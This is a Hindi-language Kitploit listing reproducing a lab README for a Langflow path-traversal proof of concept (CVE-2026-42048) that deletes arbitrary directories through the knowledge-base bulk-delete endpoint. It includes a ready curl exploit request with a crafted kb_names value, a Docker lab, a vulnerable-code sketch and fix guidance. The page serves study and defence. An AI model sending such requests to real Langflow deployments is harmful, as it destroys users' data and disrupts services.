Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42048 — लैंगफ्लो मनमाना निर्देशिका विलोपन | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2026-42048
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

लैंगफ्लो मनमाना निर्देशिका विलोपन

रिपॉजिटरी देखें
223 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-42048

CVE-2026-42048 Langflow पथ ट्रैवर्सल / मनमाना निर्देशिका विलोपन PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


विवरण

CVE-2026-42048 : Langflow मनमाना निर्देशिका विलोपन भेद्यता

Langflow के 1.9.0 से पहले के संस्करण में एक पथ ट्रैवर्सल भेद्यता एक प्रमाणित हमलावर को बल्क डिलीट एंडपॉइंट DELETE /api/v1/knowledge_bases के माध्यम से इच्छित नॉलेज बेस स्टोरेज पथ के बाहर निर्देशिकाओं को हटाने की अनुमति देती है। यह समस्या इसलिए होती है क्योंकि उपयोगकर्ता-नियंत्रित kb_names मानों का उपयोग फाइलसिस्टम पथ बनाने के लिए किया जाता है, बिना उचित सामान्यीकरण और सीमा सत्यापन के।


पूर्व शर्तें

सफल शोषण के लिए निम्नलिखित शर्तें आवश्यक हैं:

  • लक्ष्य Langflow का एक भेद्य संस्करण चला रहा है, 1.9.0 से पहले।
  • हमलावर नॉलेज बेस बल्क डिलीट एंडपॉइंट तक पहुंच सकता है:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • हमलावर प्रमाणित है या अन्यथा प्रमाणित API अनुरोध कर सकता है। सार्वजनिक सलाहकार इसे कम विशेषाधिकार (PR:L) की आवश्यकता वाली समस्या बताते हैं।
  • हमलावर kb_names अनुरोध बॉडी पैरामीटर को नियंत्रित कर सकता है।
  • Langflow प्रक्रिया के पास लक्ष्य निर्देशिका को हटाने की फाइलसिस्टम अनुमति है।

यह भेद्यता ऑपरेटिंग सिस्टम फ़ाइल अनुमतियों को बायपास नहीं करती है। यह Langflow के स्वयं के पथ हैंडलिंग और विलोपन तर्क का दुरुपयोग करती है।


लैब सेटअप

Docker का उपयोग करके भेद्य वातावरण बनाएं और चलाएं:

इमेज बनाएं

root@kitploit:~
docker build -t cve-2026-42048 .

कंटेनर चलाएं

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

स्थिति जांचें

root@kitploit:~
curl http://127.0.0.1:9101/status

लैब एक डिस्पोजेबल लक्ष्य निर्देशिका बनाता है:

root@kitploit:~
/target/CVE-2026-42048

/status एंडपॉइंट रिपोर्ट करता है कि क्या वह निर्देशिका अभी भी मौजूद है।


उपयोग कैसे करें

PoC के साथ शोषण

root@kitploit:~
python3 poc.py

इंटरैक्टिव इनपुट:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

curl के साथ शोषण

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

परिणाम सत्यापित करें

root@kitploit:~
curl http://127.0.0.1:9101/status

यदि शोषण सफल होता है, तो target_exists true से false में बदल जाता है।


विश्लेषण

भेद्य एंडपॉइंट

root@kitploit:~
DELETE /api/v1/knowledge_bases

भेद्यता Langflow के नॉलेज बेस बल्क डिलीट API में मौजूद है। प्रभावित हैंडलर kb_names पैरामीटर के माध्यम से नॉलेज बेस नामों की एक सूची स्वीकार करता है और प्रत्येक मान का उपयोग विलोपन के लिए एक फाइलसिस्टम पथ बनाने के लिए करता है।

भेद्य संस्करणों में, बल्क डिलीट तर्क अन्य नॉलेज बेस एंडपॉइंट्स द्वारा उपयोग किए जाने वाले सुरक्षित पथ रिज़ॉल्यूशन हेल्पर का उपयोग करने के बजाय मैन्युअल रूप से पथ का निर्माण करता है। भेद्य पैटर्न का एक सरलीकृत प्रतिनिधित्व है:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

डिलीट हेल्पर अंततः पुनरावर्ती विलोपन तर्क के साथ लक्ष्य निर्देशिका को हटा देता है। चूंकि kb_name हमलावर-नियंत्रित है, ../ जैसे पथ ट्रैवर्सल अनुक्रम वर्तमान उपयोगकर्ता की नॉलेज बेस निर्देशिका से बाहर निकल सकते हैं। Python के pathlib में, दाईं ओर प्रदान किया गया एक निरपेक्ष पथ पिछले पथ घटकों को ओवरराइड भी कर सकता है:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

परिणामस्वरूप, एक तैयार किया गया kb_names मान Langflow को इच्छित नॉलेज बेस स्टोरेज रूट के बाहर एक निर्देशिका हटाने का कारण बन सकता है, जब तक Langflow प्रक्रिया के पास उस निर्देशिका को हटाने की अनुमति है।

यह CWE-22: प्रतिबंधित निर्देशिका में पथनाम का अनुचित सीमांकन की समस्या है।

तकनीकी मूल कारण

मूल कारण पुनरावर्ती विलोपन से पहले उपयोगकर्ता-नियंत्रित पथ घटकों का अपर्याप्त सामान्यीकरण और सीमा सत्यापन है। भेद्य बल्क डिलीट एंडपॉइंट यह जांचता है कि अंतिम पथ मौजूद है या नहीं, लेकिन यह सुनिश्चित नहीं करता है कि हल किया गया पथ प्रमाणित उपयोगकर्ता की नॉलेज बेस निर्देशिका के अंतर्गत रहे।

एक मजबूत सुधार को:

  • Path.resolve() के साथ अंतिम पथ को सामान्य करें
  • सुनिश्चित करें कि हल किया गया पथ अभी भी प्रमाणित उपयोगकर्ता की नॉलेज बेस निर्देशिका के अंदर है
  • विलोपन से पहले उस निर्देशिका से बाहर निकलने वाले पथों को अस्वीकार करें

Langflow ने इस समस्या को 1.9.0 में ठीक किया।

यह क्यों मायने रखता है

मनमाना निर्देशिका विलोपन सीधे अखंडता और उपलब्धता को प्रभावित कर सकता है। परिनियोजन अनुमतियों और फाइलसिस्टम लेआउट के आधार पर, एक हमलावर निम्न में सक्षम हो सकता है:

  • किसी अन्य उपयोगकर्ता का नॉलेज बेस डेटा हटाना
  • एप्लिकेशन-स्वामित्व वाली निर्देशिकाओं को हटाना
  • Langflow रनटाइम स्थिति को बाधित करना
  • डेटा हानि या सेवा में रुकावट पैदा करना

यह समस्या हानिकारक होने के लिए मनमाना कोड निष्पादन की आवश्यकता नहीं है। एप्लिकेशन विशेषाधिकारों के साथ पुनरावर्ती विलोपन डेटा और उपलब्धता को नुकसान पहुंचाने के लिए पर्याप्त है।


परिदृश्य

root@kitploit:~
+-------------------------------------------+
|              प्रमाणित उपयोगकर्ता         |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow नॉलेज बेस API             |
+-------------------------------------------+
                      |
                      | असुरक्षित पथ निर्माण
                      v
+-------------------------------------------+
|   पथ इच्छित KB उपयोगकर्ता निर्देशिका से   |
|   बाहर निकलता है                          |
+-------------------------------------------+
                      |
                      | पुनरावर्ती निर्देशिका विलोपन
                      v
+-------------------------------------------+
|        मनमाना निर्देशिका विलोपन          |
+-------------------------------------------+

लैब नोट्स

यह लैब पोर्ट 9101 पर एक छोटा चैलेंज प्रॉक्सी प्रस्तुत करता है। प्रॉक्सी पूर्ण Langflow UI और प्रत्यक्ष बैकएंड पोर्ट को छिपा कर रखता है, जबकि इस अभ्यास के लिए आवश्यक केवल न्यूनतम भेद्य API पथ को अग्रेषित करता है।

लैब के लिए लक्ष्य निर्देशिका है:

root@kitploit:~
/target/CVE-2026-42048

/status एंडपॉइंट का उपयोग यह पुष्टि करने के लिए किया जा सकता है कि लक्ष्य निर्देशिका हटा दी गई है।


सफाई

root@kitploit:~
docker stop cve-2026-42048

अस्वीकरण

यह रिपॉजिटरी Langflow इंस्टेंस के अनधिकृत शोषण को सुविधाजनक बनाने के लिए नहीं है। इस परियोजना का उद्देश्य सुरक्षा शोधकर्ताओं, रक्षकों और डेवलपर्स को भेद्यता को समझने, नियंत्रित वातावरण में एक्सपोजर को मान्य करने और प्रभावी शमन लागू करने में मदद करना है।


संदर्भ

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

टूल डाउनलोड करें